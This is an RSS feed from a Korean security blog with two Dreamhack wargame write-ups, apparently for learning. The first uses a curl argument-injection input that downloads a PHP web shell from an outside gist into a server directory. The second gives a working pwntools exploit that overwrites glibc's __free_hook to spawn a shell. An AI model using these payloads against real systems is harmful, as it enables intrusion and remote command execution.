<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>0xmausike 님의 블로그</title>
    <link>https://0xmausike.tistory.com/</link>
    <description>0xmausike 님의 블로그 입니다.</description>
    <language>ko</language>
    <pubDate>Tue, 30 Jun 2026 04:39:02 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>0xmausike</managingEditor>
    <image>
      <title>0xmausike 님의 블로그</title>
      <url>https://tistory1.daumcdn.net/tistory/8406481/attach/6fcf0ff54f054ce09eab6b4f15c4f000</url>
      <link>https://0xmausike.tistory.com</link>
    </image>
    <item>
      <title>[Dreamhack] Command Injection Advanced | write-up</title>
      <link>https://0xmausike.tistory.com/2</link>
      <description>&lt;h1&gt;Problem&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/413&quot;&gt;https://dreamhack.io/wargame/challenges/413&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h1&gt;Source Code&lt;/h1&gt;
&lt;pre class=&quot;xml&quot;&gt;&lt;code&gt;# index.php
&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;&amp;lt;/head&amp;gt;
    &amp;lt;link rel=&quot;stylesheet&quot; href=&quot;/static/bulma.min.css&quot; /&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;div class=&quot;container card&quot;&amp;gt;
        &amp;lt;div class=&quot;card-content&quot;&amp;gt;
        &amp;lt;h1 class=&quot;title&quot;&amp;gt;Online Curl Request&amp;lt;/h1&amp;gt;
    &amp;lt;?php
        if(isset($_GET['url'])){
            $url = $_GET['url'];
            if(strpos($url, 'http') !== 0 ){
                die('http only !');
            }else{
                $result = shell_exec('curl '. escapeshellcmd($_GET['url']));
                $cache_file = './cache/'.md5($url);
                file_put_contents($cache_file, $result);
                echo &quot;&amp;lt;p&amp;gt;cache file: &amp;lt;a href='{$cache_file}'&amp;gt;{$cache_file}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&quot;;
                echo '&amp;lt;pre&amp;gt;'. htmlentities($result) .'&amp;lt;/pre&amp;gt;';
                return;
            }
        }else{
        ?&amp;gt;
            &amp;lt;form&amp;gt;
                &amp;lt;div class=&quot;field&quot;&amp;gt;
                    &amp;lt;label class=&quot;label&quot;&amp;gt;URL&amp;lt;/label&amp;gt;
                    &amp;lt;input class=&quot;input&quot; type=&quot;text&quot; placeholder=&quot;url&quot; name=&quot;url&quot; required&amp;gt;
                &amp;lt;/div&amp;gt;
                &amp;lt;div class=&quot;control&quot;&amp;gt;
                    &amp;lt;input class=&quot;button is-success&quot; type=&quot;submit&quot; value=&quot;submit&quot;&amp;gt;
                &amp;lt;/div&amp;gt;
            &amp;lt;/form&amp;gt;
        &amp;lt;?php
        }
    ?&amp;gt;
        &amp;lt;/div&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;코드 분석&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;get으로 url이라는 파라미터를 받는다.&lt;/li&gt;
&lt;li&gt;url의 시작부분이 http로 시작해야한다.&lt;br /&gt;&lt;code&gt;if(strpos($url, 'http') !== 0 )&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;해당 파라미터는 escapeshellcmd()함수를 거쳐 'curl (url)' 명령어가 실행된다.&lt;br /&gt;&lt;code&gt;$result = shell_exec('curl '. escapeshellcmd($_GET['url']));&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;명령어 수행 결과값이 ./cache/ 디렉토리에 url 파라미터를 md5 해시값으로 변환한 값을 파일 명으로 저장한다.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;취약점 분석&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 PHP 함수에 대해 찾아봤다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;i&gt;escapeshellcmd()&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;a href=&quot;https://www.php.net/manual/en/function.escapeshellcmd.php&quot;&gt;https://www.php.net/manual/en/function.escapeshellcmd.php&lt;/a&gt;&lt;br /&gt;해당 함수는 쉘을 속여서 실행하는데 사용될 수 있는 문자들을 escape 해주는 함수다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그러나 이 함수에서 스페이스바와 '-' 문자는 escape를 해주지 않는다는 것을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;curl 함수에서는 -o 플래그를 입력하면 입력받은 url의 응답을 뒤에 오는 경로에 저장할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) curl &lt;a href=&quot;http://127.0.0.1&quot;&gt;http://127.0.0.1&lt;/a&gt; -o ./path&lt;/p&gt;
&lt;h1&gt;Exploit&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드에서 php를 사용하고 있었으니 인터넷에서 간단한 웹 쉘을 가져왔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985&quot;&gt;https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 파일을 Raw로 가져와 한번 현재 디렉토리에 생성해봤다.&lt;/p&gt;
&lt;pre class=&quot;awk&quot;&gt;&lt;code&gt;# url 파라미터 입력
https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/c871f130a12e97090a08d0ab855c1b7a93ef1150/easy-simple-php-webshell.php -o ./webshell.php&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Tip : 웹 서버는 확장자가 php가 아니라면 html로 판단해 반환한다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 경로로 직접 접속해보니 Not Found 응답이 나타났다. 이를 통해 웹 서비스 계정이 그 디렉토리에 대한 쓰기 권한을 갖고 있지 않을 가능성을 의심했다. 코드 분석 결과, 애플리케이션이 cache 디렉토리에 파일을 생성한다는 사실을 확인했고, 이를 기반으로 해당 디렉토리에 웹 쉘 업로드를 시도했다. 이후 업로드된 경로로 접근하자 웹 쉘을 정상적으로 사용할 수 있었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;79&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bGQqlQ/dJMcaiV5bGU/UbFpKzv2poQtOx4qYPtdv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bGQqlQ/dJMcaiV5bGU/UbFpKzv2poQtOx4qYPtdv0/img.png&quot; data-alt=&quot;webshell 획득&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bGQqlQ/dJMcaiV5bGU/UbFpKzv2poQtOx4qYPtdv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbGQqlQ%2FdJMcaiV5bGU%2FUbFpKzv2poQtOx4qYPtdv0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;79&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;79&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;webshell 획득&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;웹 쉘을 얻고 정보 수집를 진행하는데, 아까 의심했던 디렉토리 쓰기 권한이 실제로 없는 것을 확인했다.&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;drwxr-xr-x   1 root root  4096 Dec  7 18:49 ..&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;190&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btNdkE/dJMcagD1Ool/mxykPRA2KBFpUEvNBacKB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btNdkE/dJMcagD1Ool/mxykPRA2KBFpUEvNBacKB0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btNdkE/dJMcagD1Ool/mxykPRA2KBFpUEvNBacKB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbtNdkE%2FdJMcagD1Ool%2FmxykPRA2KBFpUEvNBacKB0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;677&quot; height=&quot;190&quot; data-origin-width=&quot;677&quot; data-origin-height=&quot;190&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 플래그 찾으러 탐색 중에 루트 디렉토리(/)에서 flag 파일을 발견했다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;434&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdGw5e/dJMcafSD0Uc/j6d3lkTKQFLJjiEXaJh950/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdGw5e/dJMcafSD0Uc/j6d3lkTKQFLJjiEXaJh950/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdGw5e/dJMcafSD0Uc/j6d3lkTKQFLJjiEXaJh950/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbdGw5e%2FdJMcafSD0Uc%2Fj6d3lkTKQFLJjiEXaJh950%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;683&quot; height=&quot;434&quot; data-origin-width=&quot;683&quot; data-origin-height=&quot;434&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실행 권한이 있기에 /flag 파일을 실행하니 FLAG를 획득할 수 있었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Wargame/Pwnable</category>
      <author>0xmausike</author>
      <guid isPermaLink="true">https://0xmausike.tistory.com/2</guid>
      <comments>https://0xmausike.tistory.com/2#entry2comment</comments>
      <pubDate>Mon, 8 Dec 2025 04:21:10 +0900</pubDate>
    </item>
    <item>
      <title>[Dreamhack] hook | write-up</title>
      <link>https://0xmausike.tistory.com/1</link>
      <description>&lt;h1&gt;Problem&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/52&quot;&gt;https://dreamhack.io/wargame/challenges/52&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;yaml&quot;&gt;&lt;code&gt;    Arch:       amd64-64-little  
    RELRO:      Full RELRO  
    Stack:      Canary found  
    NX:         NX enabled  
    PIE:        No PIE (0x3fe000)  
    Stripped:   No  &lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Background&lt;/h1&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;hook&lt;/li&gt;
&lt;li&gt;one_gadget / (option)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;hook.c&lt;/h1&gt;
&lt;pre class=&quot;arduino&quot;&gt;&lt;code&gt;// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf(&quot;stdout: %p\n&quot;, stdout);

    printf(&quot;Size: &quot;);
    scanf(&quot;%ld&quot;, &amp;amp;size);

    ptr = malloc(size);

    printf(&quot;Data: &quot;);
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);

    free(ptr);
    free(ptr);

    system(&quot;/bin/sh&quot;);
    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;코드 분석&lt;/h1&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;size 변수에 scanf로 정수 입력 받아 저장.&lt;/li&gt;
&lt;li&gt;ptr 변수에 size만큼의 바이트를 동적 할당.&lt;/li&gt;
&lt;li&gt;ptr가 가르키는 값에 read 함수로 size만큼 입력 받아 저장.&lt;/li&gt;
&lt;li&gt;*(long *)*ptr = *(ptr+1)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;(중요) *ptr은 ptr이 가르키는 변수의 값. 여기서 한번 더 *(long *)로 인해 한번 더 앞의 변수의 값을 8바이트의 포인터로 인식. 따라서 *ptr의 값이 주소가 되어 해당 주소에 *(ptr+1)을 저장.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;free(ptr)을 두 번 실행.
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;이는 이미 실행된 free함수를 때문에 두 번째 free함수가 반환을 시도할 때 유효하지 않은 주소에 대한 접근으로 Segmentation Falut가 발생&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;취약점 분석&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라이브러리가 glibc 2.23임. 이는 hook overwrite에 취약한 라이브러리임. free가 실행될 때 &lt;b&gt;__free_hook&lt;/b&gt; 변수의 값이 null이 아니라면 &lt;b&gt;__free_hook&lt;/b&gt; 의 값이 가르키는 주소(명령어)을 먼저 실행함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서 &lt;b&gt;__free_hook&lt;/b&gt; 의 값을 main 함수의 system(&quot;/bin/sh&quot;) 혹은 oneshot gadget의 주소로 변경하면 해당 명령어가 실행됨.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 분석에서 4번을 확인하면 특정 주소에 임의의 값을 변경 할 수 있는 취약점이 있음.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;*ptr&lt;/b&gt;은 ptr이 가르키는 변수의 값을 나타냄. &lt;b&gt;(long *)*ptr&lt;/b&gt;은 8바이트로 된 포인터를 의미함. &lt;b&gt;*(long *)*ptr&lt;/b&gt;은 &lt;b&gt;(long *)*ptr&lt;/b&gt;이 가르키는 주소의 값을 나타내기에 ptr 시작 주소로부터 8 바이트를 free 함수의 hook 주소로 변경 후 실행 할 명령어의 주소를 &lt;b&gt;*(ptr+1)&lt;/b&gt; 에 넣어주면 됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 read 함수로 ptr 변수에 입력할 때, 8바이트는 &lt;b&gt;__free_hook&lt;/b&gt;의 주소. 다음 8 바이트는 실행할 명령어의 주소를 넣어주면 임의의 명령어를 실행할 수 있다.&lt;/p&gt;
&lt;h1&gt;Exploit code&lt;/h1&gt;
&lt;pre class=&quot;makefile&quot;&gt;&lt;code&gt;from pwn import *

p = process(&quot;./hook&quot;)

#p = remote(&quot;host8.dreamhack.games&quot;, &quot;23490&quot;)

elf = ELF('./hook')
libc = ELF('./libc-2.23.so')


p.recvuntil(b'stdout: ')
stdout = int(p.recvuntil('\n')[:-1], 16)

libc_base = stdout - libc.symbols['_IO_2_1_stdout_']
free_hook = libc_base + libc.symbols['__free_hook']

one_gadget = libc_base + [0x4527a, 0xf03a4, 0xf1247][0]
system = 0x400a11

payload = p64(free_hook) + p64(system)
p.sendlineafter(b'Size: ', b'16') 
p.sendafter(b'Data: ', payload)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;참고&lt;/h1&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 문제의 바이너리는 PIE가 적용되어 있지 않기에 코드 부분의 주소가 임의의 주소에 배치되지 않고 고정된 주소에 배치됨.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;system&lt;/b&gt; 함수를 실행하는 주소를 알아내는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;x86asm&quot;&gt;&lt;code&gt;pwndbg&amp;gt; disas main
Dump of assembler code for function main:
   0x000000000040094a &amp;lt;+0&amp;gt;:     push   rbp
   0x000000000040094b &amp;lt;+1&amp;gt;:     mov    rbp,rsp
   0x000000000040094e &amp;lt;+4&amp;gt;:     sub    rsp,0x30
   0x0000000000400952 &amp;lt;+8&amp;gt;:     mov    DWORD PTR [rbp-0x24],edi
   0x0000000000400955 &amp;lt;+11&amp;gt;:    mov    QWORD PTR [rbp-0x30],rsi
   0x0000000000400959 &amp;lt;+15&amp;gt;:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400962 &amp;lt;+24&amp;gt;:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400966 &amp;lt;+28&amp;gt;:    xor    eax,eax
   0x0000000000400968 &amp;lt;+30&amp;gt;:    mov    eax,0x0
   0x000000000040096d &amp;lt;+35&amp;gt;:    call   0x4008ee &amp;lt;initialize&amp;gt;
   0x0000000000400972 &amp;lt;+40&amp;gt;:    mov    rax,QWORD PTR [rip+0x200697]        # 0x601010 &amp;lt;stdout@@GLIBC_2.2.5&amp;gt;
   0x0000000000400979 &amp;lt;+47&amp;gt;:    mov    rsi,rax
   0x000000000040097c &amp;lt;+50&amp;gt;:    mov    edi,0x400acd
   0x0000000000400981 &amp;lt;+55&amp;gt;:    mov    eax,0x0
   0x0000000000400986 &amp;lt;+60&amp;gt;:    call   0x400790 &amp;lt;printf@plt&amp;gt;
   0x000000000040098b &amp;lt;+65&amp;gt;:    mov    edi,0x400ad9
   0x0000000000400990 &amp;lt;+70&amp;gt;:    mov    eax,0x0
   0x0000000000400995 &amp;lt;+75&amp;gt;:    call   0x400790 &amp;lt;printf@plt&amp;gt;
   0x000000000040099a &amp;lt;+80&amp;gt;:    lea    rax,[rbp-0x18]
   0x000000000040099e &amp;lt;+84&amp;gt;:    mov    rsi,rax
   0x00000000004009a1 &amp;lt;+87&amp;gt;:    mov    edi,0x400ae0
   0x00000000004009a6 &amp;lt;+92&amp;gt;:    mov    eax,0x0
   0x00000000004009ab &amp;lt;+97&amp;gt;:    call   0x4007d0 &amp;lt;__isoc99_scanf@plt&amp;gt;
   0x00000000004009b0 &amp;lt;+102&amp;gt;:   mov    rax,QWORD PTR [rbp-0x18]
   0x00000000004009b4 &amp;lt;+106&amp;gt;:   mov    rdi,rax
   0x00000000004009b7 &amp;lt;+109&amp;gt;:   call   0x4007c0 &amp;lt;malloc@plt&amp;gt;
   0x00000000004009bc &amp;lt;+114&amp;gt;:   mov    QWORD PTR [rbp-0x10],rax
   0x00000000004009c0 &amp;lt;+118&amp;gt;:   mov    edi,0x400ae4
   0x00000000004009c5 &amp;lt;+123&amp;gt;:   mov    eax,0x0
   0x00000000004009ca &amp;lt;+128&amp;gt;:   call   0x400790 &amp;lt;printf@plt&amp;gt;
   0x00000000004009cf &amp;lt;+133&amp;gt;:   mov    rdx,QWORD PTR [rbp-0x18]
   0x00000000004009d3 &amp;lt;+137&amp;gt;:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009d7 &amp;lt;+141&amp;gt;:   mov    rsi,rax
   0x00000000004009da &amp;lt;+144&amp;gt;:   mov    edi,0x0
   0x00000000004009df &amp;lt;+149&amp;gt;:   call   0x4007a0 &amp;lt;read@plt&amp;gt;
   0x00000000004009e4 &amp;lt;+154&amp;gt;:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009e8 &amp;lt;+158&amp;gt;:   mov    rax,QWORD PTR [rax]
   0x00000000004009eb &amp;lt;+161&amp;gt;:   mov    rdx,rax
   0x00000000004009ee &amp;lt;+164&amp;gt;:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009f2 &amp;lt;+168&amp;gt;:   mov    rax,QWORD PTR [rax+0x8]
   0x00000000004009f6 &amp;lt;+172&amp;gt;:   mov    QWORD PTR [rdx],rax
   0x00000000004009f9 &amp;lt;+175&amp;gt;:   mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004009fd &amp;lt;+179&amp;gt;:   mov    rdi,rax
   0x0000000000400a00 &amp;lt;+182&amp;gt;:   call   0x400770 &amp;lt;free@plt&amp;gt;
   0x0000000000400a05 &amp;lt;+187&amp;gt;:   mov    rax,QWORD PTR [rbp-0x10]
   0x0000000000400a09 &amp;lt;+191&amp;gt;:   mov    rdi,rax
   0x0000000000400a0c &amp;lt;+194&amp;gt;:   call   0x400770 &amp;lt;free@plt&amp;gt;
   0x0000000000400a11 &amp;lt;+199&amp;gt;:   mov    edi,0x400aeb
   0x0000000000400a16 &amp;lt;+204&amp;gt;:   call   0x400788 &amp;lt;system@plt&amp;gt;
   0x0000000000400a1b &amp;lt;+209&amp;gt;:   mov    eax,0x0
   0x0000000000400a20 &amp;lt;+214&amp;gt;:   mov    rcx,QWORD PTR [rbp-0x8]
   0x0000000000400a24 &amp;lt;+218&amp;gt;:   xor    rcx,QWORD PTR fs:0x28
   0x0000000000400a2d &amp;lt;+227&amp;gt;:   je     0x400a34 &amp;lt;main+234&amp;gt;
   0x0000000000400a2f &amp;lt;+229&amp;gt;:   call   0x400780 &amp;lt;__stack_chk_fail@plt&amp;gt;
   0x0000000000400a34 &amp;lt;+234&amp;gt;:   leave
   0x0000000000400a35 &amp;lt;+235&amp;gt;:   ret
End of assembler dump.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;0x0000000000400a11 &lt;b&gt;main+199&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;/bin/sh&quot;를 인자로 주고 system 함수를 호출 해야하기에 gdb에서 System@plt를 호출하기 전 인자를 넣기 시작하는 주소를 찾아냄.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;one_gadget&lt;/b&gt; 의 주소를 알아내는 방법&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;angelscript&quot;&gt;&lt;code&gt;$ one_gadget ./libc-2.23.so 
0x4527a execve(&quot;/bin/sh&quot;, rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv

0xf03a4 execve(&quot;/bin/sh&quot;, rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv

0xf1247 execve(&quot;/bin/sh&quot;, rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인자를 직접 지정해주기 힘들고 system 함수를 호출하기 어려운 상황이라면 one_gadget을 사용해야함.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서는 아직 지식이 부족해서 어떤 조건의 가젯을 써야하는지 판단이 잘 안섭니다. 그래서 전부 넣어보고 되는걸로 진행했습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;본인의 실습 환경이 대상 타겟(호스트)의 환경과 달라 발생하는 문제 발생 시 해결 방법&lt;br /&gt;(포스트 예정)&lt;/p&gt;</description>
      <category>Wargame/Pwnable</category>
      <author>0xmausike</author>
      <guid isPermaLink="true">https://0xmausike.tistory.com/1</guid>
      <comments>https://0xmausike.tistory.com/1#entry1comment</comments>
      <pubDate>Sat, 22 Nov 2025 10:21:40 +0900</pubDate>
    </item>
  </channel>
</rss>